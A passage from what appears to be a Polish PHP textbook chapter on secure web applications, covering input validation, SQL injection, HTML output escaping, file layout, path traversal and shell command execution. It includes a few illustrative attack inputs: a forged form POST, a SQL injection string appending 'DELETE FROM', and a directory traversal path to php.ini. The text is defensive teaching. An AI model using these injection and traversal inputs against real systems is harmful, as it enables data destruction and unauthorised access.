katu tekstowego o strukturze podobnej do przedstawionej poniżej:
POST /formularz.php HTTP/1.1
Host: www.domenakomputera.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
plec=Mężczyzną

Nic jednak nie stoi na przeszkodzie, by ktoś połączył się z naszym serwerem i wysłał do niego
dowolną inną wartość w ramach formularza. Można by spreparować na przykład żądanie nastę-
pującej treści:
POST /formularz.php HTTP/1.1
Host: www.domenakomputera.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49:0) Gecko/20100101 Firefox/49.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
plec=Lubię+ciastka

Załóżmy teraz, że napisany został następujący kod obsługi formularza:


<?php
echo "<h1>
Użytkownik jest: ".$_POST['plec'].".
</h1>";
?>

Bez trudu mogłoby w takiej sytuacji dojść do zamieszania. Znacznie lepszym rozwiązaniem jest
sprawdzanie za każdym razem, czy otrzymana wartość należy do zbioru wartości dozwolonych,
tak jak pokazano na listingu 15.2.

Listing 15.2. formularz.php — weryfikacja danych przesłanych z formularza

<?php
switch ($_POST['plec']) {
case 'Mężczyzną':
case 'Kobietą':
case 'Inny':

echo "<h1>Gratulacje!
Jesteś: ".$_POST['plec'].".</h1>";
346 Część III  E-commerce i bezpieczeństwo

break;

default:

echo "<h1><span style=\"color: red;\">OSTRZEŻENIE:</span><br />


Nieprawidłowe oznaczenie płci użytkownika.</h1>";
break;
}
?>

Ilość wymaganego kodu jest w tym przypadku nieco większa — zawiera on bowiem listę dopusz-
czalnych wartości — lecz przynajmniej zyskuje się dzięki temu pewność, że do formularza
przekazywane są prawidłowe wartości. Fakt ten zdecydowanie zyskuje na znaczeniu, gdy przetwa-
rzane są na przykład dane finansowe, znacznie bardziej poufne niż płeć użytkownika. Według
ogólnej zasady nigdy nie należy oczekiwać, że wartość pochodząca z formularza zawsze będzie
należeć do zbioru wartości oczekiwanych — zawsze trzeba ją najpierw zweryfikować.

Filtrowanie nawet najprostszych wartości


Elementy formularzy HTML nie mają przypisanych typów i przekazują do serwera zwykłe łańcuchy
znaków (które mogą reprezentować daty, godziny czy liczby). Dlatego jeżeli nawet w formularzu
znajduje się pole liczbowe, nie oznacza to wcale, że można założyć albo ufać, iż właśnie wartość
liczbowa została wpisana w takim polu. Nawet w rozwiązaniach, w których szczególnie rozbu-
dowane skrypty działające po stronie klienta mają zagwarantować, że wartość wpisana w polu
będzie odpowiedniego typu, to i tak nie ma się gwarancji, że któryś z użytkowników nie prześle
wartości bezpośrednio do serwera, jak w poprzednim punkcie.

Prosty sposób zapewnienia, że dana wartość jest odpowiedniego typu, polega na zrzutowaniu lub
przekształceniu jej do pożądanego typu, a następnie jej użyciu, na przykład:
$liczba_nocy = (int)$_POST['liczba_nocy'];
if ($liczba_nocy == 0) {
echo "BŁĄD: Nieprawidłowa liczba nocy!";
exit;
}

Jeżeli użytkownik ma za zadanie wpisać datę w jakimś formacie narodowym, na przykład w for-
macie mm/dd/yy używanym w Stanach Zjednoczonych, można wówczas napisać kod, który przy
użyciu funkcji PHP o nazwie checkdate() zapewni, że mamy do czynienia z prawidłową datą.
Funkcja checkdate przyjmuje wartości miesiąc, dzień i rok (rok w formacie czterocyfrowym)
i wskazuje, czy po połączeniu tych wartości uzyskuje się prawidłową datę:
$mmddrr = explode('/', $_POST['data_wyjazdu']);
if (count($mmddrr) != 3)
{
echo "BŁĄD: Podano nieprawidłową datę!";
exit;
}

// obsługa lat takich jak 02 albo 95


if ((int)$mmddrr[2] < 100)
{
if ((int)$mmddrr[2] > 50) {
$mmddrr[2] = (int)$mmddrr[2]+1900;
} else if ((int)$mmddrr[2] >= 0) {
$mmddrr[2] = (int)$mmddrr[2] + 2000;
}
// albo wartość < 0, co wychwyci funkcja sprawdzdate
}
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 347

if (!checkdate($mmddrr[0], $mmddrr[1], $mmddrr[2]))


{
echo "BŁĄD: Podano nieprawidłową datę!";
exit;
}

Przefiltrowanie i sprawdzenie danych wejściowych wymaga czasu i wysiłku, ale dzięki wykona-
niu tych czynności nie tylko spełnia się wymóg weryfikacji poprawności tych danych, co zresztą
powinno się robić zawsze (czyli na przykład sprawdzać, czy data wylotu podana w momencie zaku-
pu biletu na samolot rzeczywiście jest prawidłową datą), ale także zwiększa ogólne bezpieczeń-
stwo całego systemu.

Sprawdzanie obecności kodu SQL w łańcuchach znaków


Kolejnym przypadkiem, w którym bezwzględnie trzeba przetwarzać łańcuchy znaków, aby za-
bezpieczyć system, jest zapobieganie atakom polegającym na wstrzykiwaniu kodu SQL. O tego
typu atakach wspomniano już wcześniej, w rozdziale opisującym korzystanie z serwera bazoda-
nowego MySQL w języku PHP. W tego rodzaju atakach złośliwy użytkownik próbuje wykorzy-
stać luki w zabezpieczeniach w kodzie źródłowym oraz w uprawnieniach użytkownika, aby wyko-
nać własny kod SQL, który zdecydowanie wykonywany być nie powinien. Jeżeli zastosowane
zabezpieczenia nie będą prawidłowe, użytkownik może przedstawić się jako:
kotek; DELETE FROM uzytkownicy;

A to może być przyczyną ogromnych problemów.

Aby uniknąć ataku polegającego na wstrzykiwaniu kodu SQL, można jednocześnie zastosować
dwa rozwiązania przedstawione poniżej:
 Używanie zapytań sparametryzowanych. Zapytania tego typu oddzielają kod SQL od
danych. To rozwiązanie nie może jednak zabezpieczyć przed problemami z nazwami
kolumn i tabel, gdyż ich nie można określać za pomocą parametrów. Niemniej ponieważ
z góry znamy strukturę bazy danych, nazwy kolumn i tabel można filtrować, dopuszczając
użycie wyłącznie prawidłowych wartości.
 Upewnianie się, że wszystkie dane wejściowe są zgodne z oczekiwaniami. Jeżeli
nazwy użytkowników nie mogą przekraczać 50 znaków długości i powinny zawierać
wyłącznie litery i liczby, z miejsca można założyć, że znajdujący się na końcu nazwy
użytkownika fragment łańcucha "; DELETE FROM użytkownicy" należy usunąć. Jeżeli
napisany zostanie kod PHP, który jeszcze przed wysłaniem danych wejściowych do
serwera bazodanowego zagwarantuje, że dane wejściowe są zgodne z oczekiwaniami,
pozwoli na wyświetlenie użytkownikowi o wiele bardziej konkretnego komunikatu o błędzie
niż ten, który zostałby zwrócony przez bazę danych (o ile dane wejściowe byłyby w bazie
sprawdzane). Tym samym znacznie zmniejszone zostanie ryzyko naruszenia bezpieczeństwa.

Rozszerzenie mysqli posiada dodatkowe zabezpieczenie, które polega na tym, że metody


mysqli_query oraz mysqli::query mogą jednorazowo wykonać tylko jedno zapytanie, dzięki czemu
łatwiej jest zapobiegać wykonaniu dodatkowych, potencjalnie niebezpiecznych instrukcji lub zapytań.
Aby wykonać od razu więcej niż jedno zapytanie, trzeba użyć metody mysqli_multi_query albo
mysqli::multi_query.

Unieważnianie danych wynikowych


Niemal równie ważne jak filtrowanie danych wejściowych jest tak zwane unieważnianie danych
wynikowych. Po wczytaniu do systemu danych pochodzących od użytkownika koniecznie
trzeba zapewnić, że nie spowodują one żadnych szkód ani nie doprowadzą do nieprzewidzianych
348 Część III  E-commerce i bezpieczeństwo

konsekwencji. W tym celu wykorzystuje się kilka funkcji, dzięki którym przeglądarka klienta po-
traktuje dane wynikowe po prostu jako tekst wynikowy i nie pomyli takich danych z żadnymi
innymi.

W wielu aplikacjach internetowych pobiera się dane od użytkownika i wyświetla się je z powrotem
na stronie. Doskonałym przykładem są strony, na których użytkownicy mogą komentować
opublikowane artykuły. W takich przypadkach trzeba zapewnić, że żaden złośliwy użytkownik nie
wstrzyknie we wpisywanym tekście dodatkowego kodu HTML.

Jednym z najprostszych sposobów postępowania jest użycie funkcji htmlspecialchars() lub


htmlentities(). Obydwie funkcje analizują zawartość przekazanego do nich łańcucha znaków
i wybrane sekwencje przekształcają w tak zwane elementy HTML (ang. HTML entities). Krótko
mówiąc, element HTML to specjalna sekwencja znaków rozpoczynająca się znakiem ampersanda
(&), oznaczająca znak specjalny, którego nie można w prosty sposób przedstawić w kodzie HTML.
Po znaku „&” występuje nazwa elementu oraz znak średnika (;), który kończy całą sekwencję.
Opcjonalnie element może być kodem ASCII wskazanym przy użyciu znaku # i liczby dziesiętnej;
na przykład sekwencja #&47; reprezentuje znak ukośnika (/).

Ponieważ wszystkie elementy znaczników języka HTML są ograniczane znakami < i >, trudno
byłoby je zawrzeć w wynikowym łańcuchu znaków przeznaczonym do wyświetlenia w przeglą-
darce (ponieważ domyślnie przeglądarka przyjmie, że wskazują one znaczniki języka HTML).
Aby obejść problem używa się elementów HTML &lt; oraz &gt;. Analogicznie, aby w wyniko-
wym kodzie HTML zawrzeć znak ampersanda, należy użyć elementu &amp;. Apostrof i cudzy-
słów są reprezentowane odpowiednio przez elementy &#39; oraz &quot;. Elementy są przekształcane
w odpowiednie znaki wynikowe przez klienta HTML (przeglądarkę internetową) i nie są wówczas
traktowane jak znaczniki.

Różnica między funkcjami htmlspecialchars() i htmlentities() polega na tym, że pierwsza


z nich domyślnie zastępuje jedynie znaki &, < i >, a dodatkowe przełączniki pozwalają na zastą-
pienie również apostrofów i cudzysłowów. Druga funkcja natomiast zastępuje wszystkie znaki,
które mogą być reprezentowane przez nazwany element HTML. Przykładami takich znaków są
znak praw autorskich ©, reprezentowany przez element &copy; oraz symbol waluty Euro €,
reprezentowany przez element &euro;. Funkcja htmlentities nie przekształca natomiast
znaków w elementy liczbowe.

Obydwie funkcje przyjmują drugi parametr, który określa, jak mają działać apostrofy, cudzysłowy
i nieprawidłowe sekwencje kodu. Obie przyjmują również trzeci parametr, wyznaczający zestaw
znaków, w jakim zakodowano łańcuch wejściowy przekazany do funkcji (co jest dla nas bardzo
ważne, ponieważ funkcja powinna prawidłowo działać na łańcuchach znaków UTF-8). Poniżej
przedstawionych zostało pięć najczęściej używanych wartości drugiego parametru tych funkcji:
 ENT_COMPAT (wartość domyślna) — Cudzysłowy są przekształcane w element &quot;,
apostrofy natomiast pozostają w oryginalnej postaci.
 ENT_QUOTES — Apostrofy i cudzysłowy są przekształcane odpowiednio w elementy &#39;
oraz &quot;.
 ENT_NOQUOTES — Funkcja nie przekształca w elementy HTML ani apostrofów,
ani cudzysłowów.
 ENT_IGNORE — Nieprawidłowe sekwencje kodu są milcząco pomijane.
 ENT_SUBSTITUTE — Nieprawidłowe sekwencje kodu zą zastępowane znakiem zamiennika
Unicode, a nie pustym łańcuchem znaków.
 ENT_DISALLOWED — Nieprawidłowe sekwencje kodu zą zastępowane znakiem zamiennika
Unicode, a nie pozostawiane w początkowej postaci.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 349

Rozważmy następujący fragment kodu:


$ciag_wejsciowy = "<p align\"center\">Czy użytkownik dał \"15000?\".</p>
<script type=\"text/javascript\">
// złośliwy kod JavaScript
</script>";

Tak skonstruowany łańcuch znaków zostanie przetworzony przez poniższy skrypt PHP (na łańcuchu
wynikowym wykonywana jest funkcja nl2br w celu zapewnienia czytelności wynikowego łań-
cucha znaków):
<?php

$ciag = htmlspecialchars($ciag_wejsciowy, ENT_NOQUOTES, "UTF-8");


echo nl2br($ciag);

$ciag = htmlentities($ciag_wejsciowy, ENT_NOQUOTES, "UTF-8");


echo nl2br($ciag);

?>

Łańcuch wynikowy będzie mieć wówczas (po wyświetleniu w przeglądarce źródła strony) nastę-
pującą postać:
&lt;p align"center"&gt;Czy użytkownik dał "15000?".&lt;/p&gt;<br />
<br />
&lt;script type="text/javascript"&gt;<br />
// złośliwy kod JavaScript<br />
&lt;/script&gt;&lt;p align"center"&gt;Czy u&iquest;ytkownik da&sup3; "15000?".&lt;/p&gt;<br />
<br />
&lt;script type="text/javascript"&gt;<br />
// z&sup3;ośliwy kod JavaScript<br />
&lt;/script&gt;

Natomiast w przeglądarce pojawi się następujący tekst:


<p align"center">Czy użytkownik dał "15000?".</p>
<script type="text/javascript">
// złośliwy kod JavaScript
</script><p align"center">Czy użytkownik dał "15000?".</p>

<script type="text/javascript">
// złośliwy kod JavaScript
</script>

Trzeba zauważyć, że wywołanie funkcji htmlentities() zastąpiło symbol waluty euro (€) odpo-
wiednim symbolem HTML (&euro;), a wywołanie htmlspecialchars() nie wprowadziło w nim
żadnych dodatkowych modyfikacji.

W sytuacjach, gdy użytkownicy powinni mieć możliwość wpisywania znaczników HTML (na przy-
kład w biuletynach elektronicznych, w których użytkownicy zwykle mogą formatować czcionkę,
kolor i styl znaków), konieczne będzie zaimplementowanie własnego mechanizmu przetwarzania
łańcuchów znaków, który znajdzie dozwolone znaczniki i pozostawi je w łańcuchach wynikowych.

Organizacja kodu źródłowego


Dobre praktyki nakazują, by każdy plik, który nie ma być bezpośrednio dostępny dla użytkownika
aplikacji w internecie, znajdował się poza hierarchią głównego katalogu dokumentów witryny.
Na przykład jeżeli głównym katalogiem dokumentów biuletynu elektronicznego jest katalog
350 Część III  E-commerce i bezpieczeństwo

/home/httpd/biuletyn/www, wszystkie pliki dołączane oraz wszystkie pozostałe pliki wchodzące


w skład witryny powinny znajdować się na przykład w katalogu /home/httpd/biuletyn/kod.
W konsekwencji gdy do kodu źródłowego trzeba dołączyć odpowiednie pliki, instrukcja powinna
mieć następującą postać:
require_once('../kod/obiekt_uzytkownik.php');

Zachowywanie tak daleko posuniętej ostrożności ma kilka przyczyn.

Przede wszystkim należy się zastanowić, co się stanie, gdy złośliwy użytkownik odwoła się do
pliku, który nie ma rozszerzenia .php ani .html. Wiele serwerów WWW domyślnie przesyła wów-
czas do strumienia wyjściowego zawartość wywołanego pliku, o ile nie zostaną prawidłowo skon-
figurowane. Jeżeli więc plik obiekt_uzytkownik.php będzie się znajdował gdzieś w drzewie kata-
logu głównego witryny i użytkownik odwoła się do niego, w przeglądarce może pojawić się
treść kod źródłowego zawartego w tym pliku. Użytkownik może w ten sposób zobaczyć dane
lub ścieżki dostępu do plików na serwerze, jak również — ewentualnie — znaleźć luki w systemie
zabezpieczeń.

W celu zapobieżenia takim sytuacjom serwer WWW należy skonfigurować w taki sposób, aby
przetwarzane były wyłącznie żądania skierowane do plików .html i .php, a żądania do plików
z innymi rozszerzeniami (takimi jak *.inc, *.mo czy *.txt) powodowały zwrócenie błędu.

Poza tym, jeśli wszystkie używane pliki mają rozszerzenie .php, może się zdarzyć, że bezpośred-
nie odwołanie do pliku przeznaczonego wyłącznie do dołączania do innych może pociągać za
sobą niezamierzone konsekwencje. Przykładem może być biblioteka z kodem administracyjnym.
Używając jej w zwyczajnym kontekście, możemy sprawdzać, czy użytkownik jest uwierzytelniony;
jeśli jednak taka biblioteka zostanie wczytana niezależnie, to proces uwierzytelniania może zostać
pominięty.

Analogicznie, wszystkie inne pliki takie jak pliki z hasłami, pliki tekstowe i konfiguracyjne albo
katalogi specjalne, najlepiej jest przechowywać poza katalogiem z dokumentami udostępnianymi
publicznie. Nawet jeżeli wydaje się, że serwer WWW jest skonfigurowany prawidłowo, być może
zapomniano o czymś w trakcie konfigurowania albo w przyszłości serwer może zostać zastąpiony
nową wersją, z konfiguracją nieprawidłową, a więc zwiększy się wówczas poziom zagrożenia.

Jeżeli w pliku php.ini włączona jest opcja allow_url_fopen, teoretycznie możliwe będzie dołączanie
plików znajdujących się na serwerach zdalnych. Jest to kolejne potencjalne zagrożenie dla aplikacji
i dlatego trzeba unikać dołączania plików znajdujących się na innych komputerach — zwłaszcza
na tych, nad którymi nie ma się pełnej kontroli. Dodatkowo nigdy nie należy uzależniać tego, jaki
plik zostanie dołączony, od zawartości danych pochodzących od użytkowników, ponieważ dane
wejściowe mogą zostać odpowiednio spreparowane i zagrozić w ten sposób bezpieczeństwu
systemu.

Zawartość kodu źródłowego


W wielu prezentowanych dotychczas fragmentach kodu źródłowego odpowiedzialnych za dostęp
do bazy danych znajdowała się nazwa bazy danych, nazwa użytkownika oraz jego hasło zapisane
zwykłym tekstem, na przykład:
$polaczenie = new mysqli("localhost", "jan", "hasło", "baza_danych");

Wprawdzie jest to rozwiązanie wygodne, lecz nie do końca bezpieczne — jeśli jakiś cracker zdoła
dostać się do tego pliku, od razu uzyska również dane uwierzytelniające do bazy danych wraz
ze wszystkimi prawami, jakie posiada użytkownik jan.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 351

Lepszym rozwiązaniem jest umieszczenie nazwy użytkownika i hasła w oddzielnym pliku, który
będzie się znajdował poza strukturą katalogu głównego aplikacji i będzie dołączany do skryptu
w następujący sposób:
<?php

// plik polaczenie_bd.php
$serwer_bd = 'localhost';
$nazwa_uzytkownika_db = 'jan';
$haslo_bd = 'hasło';
$nazwa_bd = 'baza_danych';

?>

Taki plik można by dołączać w następujący sposób:


<?php

include('../kod/polaczenie_bd.php');

$polaczenie = @new mysqli($serwer_bd, $nazwa_uzytkownika_bd, $haslo_bd, $nazwa_bd);

// dalsza część kodu

?>

W podobny sposób najlepiej jest używać danych o podobnym poziomie poufności, które zawsze
dobrze jest dodatkowo zabezpieczyć.

Zagadnienia dotyczące systemu plików


PHP został zaprojektowany z myślą o umożliwieniu korzystania z lokalnego systemu plików. Z tego
wynikają co najmniej dwa zagadnienia:
 Czy wszystkie pliki zapisywane na dysku mają być widoczne dla innych użytkowników?
 Jeżeli inni użytkownicy mają mieć możliwość zapisywania plików na dysku, to czy będą
wówczas mieli dostęp również do plików, których nie powinni widzieć, takich jak
/etc/passwd?

Trzeba uważać, aby nie zapisywać plików ze zbyt szerokimi uprawnieniami odczytu ani nie
umieszczać ich w lokalizacjach, do których — we współużytkowanych środowiskach hostingo-
wych — dostęp mają inni użytkownicy.

Dodatkowo trzeba zachować szczególną ostrożność, jeżeli to użytkownik ma wskazywać nazwę


pliku, który chce uzyskać. Jeżeli w głównym katalogu dokumentów znajdują się pliki, które udo-
stępniono użytkownikom, a ci mają możliwość wpisania nazwy pliku, który chcą wyświetlić, to
można wpaść w poważne tarapaty, jeśli odwołają się oni do pliku umieszczonego gdzieś wyżej
w strukturze katalogów, wpisując nazwę taką jak ta pokazana poniżej (wykorzystuje ona zapis kata-
logów używany w systemie Windows):
..\..\..\php\php.ini

W ten sposób nieuprawniony użytkownik zyskałby komplet informacji o instalacji PHP oraz
ewentualnych lukach w zabezpieczeniach, które mógłby wykorzystać. Również tego problemu
łatwo można uniknąć: jeżeli użytkownicy mają podawać nazwy plików, które chcą uzyskać,
trzeba podawane nazwy restrykcyjnie filtrować. W sytuacji z przykładu wystarczy eliminować
wszelkie wystąpienia sekwencji ..\, a także uniemożliwiać wywołania plików wskazanych
przez podanie ścieżki bezwzględnej, na przykład c:\mysql\my.ini lub /etc/my.cnf.
352 Część III  E-commerce i bezpieczeństwo

Stabilność kodu i błędy


O zagadnieniu tym pokrótce wspomniano już wcześniej: aplikacja internetowa nigdy nie będzie
działać odpowiednio wydajnie i nigdy nie będzie odpowiednio zabezpieczona, jeżeli jej kod
źródłowy nie zostanie gruntownie przetestowany lub przejrzany albo jeżeli będzie zawierał liczne
błędy. Nie należy traktować tego jako oskarżenie, a jedynie przypomnienie, że każdy kod źródło-
wy jest równie zawodny jak piszący go programista.

Gdy użytkownik łączy się z witryną, wpisuje słowo w oknie wyszukiwania (na przykład „defene-
stracja”), i klika przycisk Szukaj, szybko straci zaufanie do witryny i poziomu jej zabezpieczeń,
jeżeli w odpowiedzi w przeglądarce pojawi się komunikat:
AJAJAJ!!! To się nigdy nie powinno zdarzyć. BŁĄD!!! BŁĄD!!! BŁĄD!!!

Jeżeli stabilność aplikacji będzie brana pod uwagę od początku procesu tworzenia aplikacji,
znacznie łatwiej będzie zmniejszyć prawdopodobieństwo wystąpienia problemów mających swój
początek w błędach ludzkich. Najskuteczniejsze sposoby to:
 Przeprowadzenie pełnej fazy projektowania aplikacji, wraz z tworzeniem jej prototypów.
Im więcej osób będzie mogło wypowiedzieć się na temat planowanych działań, tym łatwiej
będzie wychwycić potencjalne problemy jeszcze przed ich wystąpieniem. Jest to zresztą
doskonały moment na przeprowadzenie testów użyteczności docelowego interfejsu
użytkownika.
 Przydzielenie do projektu zasobów kontroli jakości. W wielu projektach oszczędza się
właśnie na testowaniu, przydzielając na przykład jednego testera na 50 programistów.
Programiści zazwyczaj nie są dobrymi testerami! Doskonale radzą sobie z zapewnianiem
tego, że ich kod będzie działać prawidłowo w przypadku podawania właściwych danych
wejściowych, lecz znajdowanie innych problemów przychodzi im już z dużo większym
trudem. W największych firmach programistycznych testerów jest mniej więcej tyle
samo co programistów. Stosunkowo wysokie jest ryzyko, że szef naszej firmy nie będzie
chciał opłacać armii testerów, jednak przeprowadzenie odpowiedniego procesu testowania
jest kluczowe dla powodzenia aplikacji.
 Zobowiązanie programistów do stosowania zautomatyzowanych testów. Trudno się
spodziewać, że w ten sposób znalezione zostaną wszystkie błędy, które mógłby znaleźć
doświadczony tester, lecz na pewno zapobiegnie się w ten sposób zjawisku regresji — czyli
sytuacji, w której problem lub błąd naprawiony już wcześniej pojawia się w systemie
ponownie w wyniku zmian w innej części kodu. Programiści powinni mieć zakaz dołączania
do projektu własnego kodu źródłowego lub wdrażania kodu, jeżeli wcześniej nie przeszedł
on z powodzeniem testów.
 Monitorowanie działania aplikacji po jej wdrożeniu w środowisku produkcyjnym. Dzięki
regularnemu przeglądaniu dzienników zdarzeń aplikacji oraz komentarzy użytkowników
lub klientów można będzie zidentyfikować poważniejsze błędy i problemy oraz ewentualne
luki w zabezpieczeniach systemu. Zidentyfikowane problemy i błędy będzie można od razu
wyeliminować, zanim doprowadzą do poważniejszych konsekwencji.

Wykonywanie poleceń
Wcześniej wspomniano o tak zwanym operatorze wykonawczym. Ma on postać operatora języka,
za którego pośrednictwem w wierszu poleceń powłoki (na przykład sh w systemach z rodziny
Unix albo cmd.exe w Windows) można wykonać wskazane polecenie zawarte między apostrofami
odwrotnymi (`); trzeba przy tym zwrócić uwagę na to, że różnią się one od zwykłych apostrofów (').
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 353

Klawisz z apostrofem odwrotnym znajduje się zwykle w lewym górnym rogu klawiatury o układzie
angielskojęzycznym, natomiast na klawiaturach o innych układach językowych znalezienie klawisza
może być już trudniejsze.

Apostrofy wykonywania poleceń zwracają łańcuch znaków z tekstowym wynikiem wykonania


wskazanego programu. Działają one zatem identycznie jak funkcja shell_exec().

Jeżeli w pliku tekstowym znajduje się lista nazwisk wraz z ich numerami telefonów, można użyć
polecenia grep, aby znaleźć w pliku listę nazwisk zawierających słowo „Kowalski”. Polecenie
grep jest poleceniem systemów z rodziny Unix i przyjmuje łańcuch znaków stanowiący wzorzec
do znalezienia oraz listę plików, w których ten wzorzec ma zostać odnaleziony, po czym zwraca
te wiersze z plików, w których wzorzec rzeczywiście został znaleziony.
grep [argumenty] wzorzec lista_plików …

Istnieją odmiany programu grep dla systemu Windows; zresztą sam Windows udostępnia program
o nazwie findstr.exe, który działa w podobny sposób. Aby znaleźć osoby o nazwisku „Kowalski”,
można by wykonać skrypt o następującej treści:
<?php

// -i oznacza, że wielkość liter nie ma znaczenia


$uzytkownicy = `grep –i kowalski /home/httpd/www/numery_tel.txt`;
// wczytanie wierszy wynikowych do tablicy
// w Windows \n należy zastąpić przez \r\n
$wiersze = split($uzytkownicy, "\n");

foreach ($wiersze as $wiersz)


{
// nazwiska i numery telefonów są oddzielone znakiem ,
$nazwisko_numer = split($wiersz, ',');
echo "Nazwisko: {$nazwisko_numer[0]}, telefon: {$nazwisko_numer[1]}<br/>\n";
}

?>

Jeżeli kiedykolwiek użytkownikom udostępniona zostanie możliwość wykonywania poleceń przy


użyciu odwrotnych apostrofów, trzeba liczyć się z ryzykiem wystąpienia różnego rodzaju proble-
mów bezpieczeństwa, a dane pochodzące od użytkowników trzeba będzie bardzo szczegółowo fil-
trować, aby zapewnić bezpieczeństwo systemu. W takim przypadku będzie trzeba użyć funkcji
escapeshellcmd() w celu zabezpieczenia całego polecenia lub funkcji escapeshellarg() w celu
zabezpieczenia pojedynczego argumentu. Dla pewności dobrze jest jednak jeszcze bardziej ograni-
czyć zakres akceptowanych danych wejściowych poprzez zastosowanie listy dopuszczalnych
wartości (tak zwanej białej listy).

Co gorsza, zazwyczaj serwer WWW i PHP działa w kontekście o jak najbardziej ograniczonych
uprawnieniach (więcej na ten temat powiemy w następnych punktach rozdziału), które jednak
być może trzeba będzie poszerzyć, aby zyskać możliwość wykonywania niektórych poleceń.
To z kolei osłabi bezpieczeństwo całego systemu. Dlatego w środowiskach produkcyjnych
odwrotne apostrofy powinny być stosowane z wyjątkową ostrożnością. Ogólnie rzecz biorąc, ich
stosowanie w ogóle nie jest zalecane. Możliwość używania funkcji shell_exec() oraz odwrotnych
apostrofów można wyłączyć w pliku konfiguracyjnym PHP lub poprzez uruchomienie PHP w trybie
bezpiecznym.

Polecenie exec i funkcje systemowe działają bardzo podobnie do operatora wykonywania poleceń
powłoki, a różnią się jedynie tym, że wskazane polecenie wykonują w sposób bezpośredni, a nie
z poziomu powłoki. Ponadto w przeciwieństwie do apostrofów odwrotnych nie zawsze zwracają
354 Część III  E-commerce i bezpieczeństwo

pełen zbiór danych wynikowych. Wykorzystanie polecenia exec i funkcji systemowych również
naraża na szereg zagrożeń bezpieczeństwa i powinno się wobec nich stosować te same środki
ostrożności.

Zabezpieczanie serwera WWW oraz PHP


Obok bezpieczeństwa kodu źródłowego ważnym zagadnieniem jest bezpieczeństwo instalacji
i konfiguracji serwera WWW oraz samego języka PHP. W wielu przypadkach oprogramowanie
instalowane na komputerach i serwerach zawiera domyślne pliki konfiguracyjne i zestawy funkcji,
których celem jest raczej pokazanie szerokich możliwości danego narzędzia. Producenci oprogra-
mowania wychodzą z założenia, że użytkownik wyłączy te elementy, które nie są mu potrzebne
bądź też zbytnio zagrażają bezpieczeństwu jego środowiska. Niestety, wciąż wielu użytkowników
w ogóle nie myśli o odpowiednim dostosowaniu konfiguracji lub czyni to w nieprzemyślany sposób.

W ramach przyjętego przez nas idealistycznego podejścia do bezpieczeństwa trzeba się upewnić,
że używane serwery WWW oraz PHP są prawidłowo skonfigurowane. Nie ma możliwości, by
szczegółowo opisać metody zabezpieczania każdego serwera WWW i każdego rozszerzenia języka
PHP, dlatego opis zostanie ograniczony do przedstawienia najważniejszych zagadnień, które trzeba
wziąć pod uwagę, oraz kierunku poszukiwań dodatkowych wskazówek i sugestii.

Regularne uaktualnianie oprogramowania


Jednym z najprostszych sposobów zapewnienia bezpieczeństwa systemu jest korzystanie zawsze
z najnowszych i najbardziej bezpiecznych wersji oprogramowania. W przypadku PHP sprowadza
się to do regularnego odwiedzania odpowiedniej witryny internetowej (http://www.php.net) i spraw-
dzania porad z zakresu bezpieczeństwa, nowych wydań oprogramowania, a także przeglądania listy
nowych funkcji i sprawdzania, czy któreś z nich mają charakter poprawek zabezpieczeń.

Instalowanie nowych wersji oprogramowania


Konfigurowanie i instalowanie niektórych programów może być zadaniem czasochłonnym
i wymagać wykonania znacznej liczby czynności. Dotyczy to zwłaszcza oprogramowania dla sys-
temów Unix, które trzeba instalować z kodów źródłowych, a to z kolei wymaga często uprzedniego
zainstalowania dodatkowych składników, a następnie wykonania dość znacznej liczby instrukcji
z różnorodnymi opcjami w wierszu poleceń, aby ostatecznie uzyskać dostęp do wszystkich pożą-
danych modułów i rozszerzeń.

Bardzo ważne jest, aby przygotować sobie prosty „skrypt instalacyjny”, który będzie realizowany
w trakcie instalacji każdej nowej wersji używanego oprogramowania. W ten sposób będzie się mieć
większą pewność, że nie zapomniało się o niczym istotnym, a czego brak mógłby sprawić problemy
w późniejszym czasie. Doskonałym pomysłem będzie zautomatyzowanie takich czynności.

Wdrażanie nowych wersji


Instalacje nigdy nie powinny być od razu wykonywane na serwerze produkcyjnym. Najlepiej jest
zawsze korzystać z serwera testowego, na którym instalowane będzie oprogramowanie i sam
udostępniany system oraz przeprowadzane będą testy działania całego środowiska. Jest to szcze-
gólnie istotne w przypadku używania języka PHP, w którym w kolejnych wersjach zmieniają
się niektóre ustawienia domyślne. Dlatego tak ważne jest, by za każdym razem wykonać odpo-
wiedni zestaw testów, aby zyskać pewność, że nowa wersja oprogramowania nie wpłynie nega-
tywnie na działanie aplikacji.
Rozdział 15.  Tworzenie bezpiecznych aplikacji internetowych 355

Po upewnieniu się, że aplikacja internetowa działa prawidłowo z nową wersją oprogramowania,


można w końcu wdrożyć środowisko na serwerze produkcyjnym. W tym momencie trzeba
bezwzględnie korzystać z procesu zautomatyzowanego, aby się upewnić, że w odpowiedniej
kolejności wykonane zostaną wszystkie kroki wymagane do zreplikowania prawidłowego środowi-
ska. Ponadto na serwerze produkcyjnym trzeba jeszcze wykonać dodatkowe testy działania apli-
kacji, aby zyskać pewność, że rzeczywiście wszystko działa tak, jak należy (zobacz rysunek 15.2).

Rysunek 15.2.
Proces
uaktualniania
oprogramowania
na serwerze

Analiza ustawień w pliku php.ini


Jeżeli dotąd nie poświęcono zbyt wiele czasu na przejrzenie zawartości pliku php.ini, teraz wła-
śnie jest najlepszy moment na otwarcie go w edytorze tekstu i przeanalizowanie jego zawartości.
Większość pozycji znajdujących się w pliku konfiguracyjnym jest opatrzona komentarzem opisu-
jącym działanie poszczególnych ustawień. Same ustawienia są ponadto zorganizowane względem
obszaru funkcjonalnego lub rozszerzenia. Na przykład nazwy wszystkich opcji konfiguracji mbstring
rozpoczynają się właśnie słowem mbstring, a ustawienia sesji (o których więcej powiemy w roz-
dziale 22.) rozpoczynają się słowem session.

W pliku php.ini znajduje się wiele ustawień dotyczących modułów, których w zasadzie nigdy nie
będzie się używać, lecz jeśli moduły te są wyłączone, to ich ustawieniami w ogóle nie trzeba się
przejmować — zostaną one zignorowane. Natomiast w przypadku modułów, które będą używane
na co dzień, należy przejrzeć ich dokumentację dostępną w podręczniku PHP (pod adresem
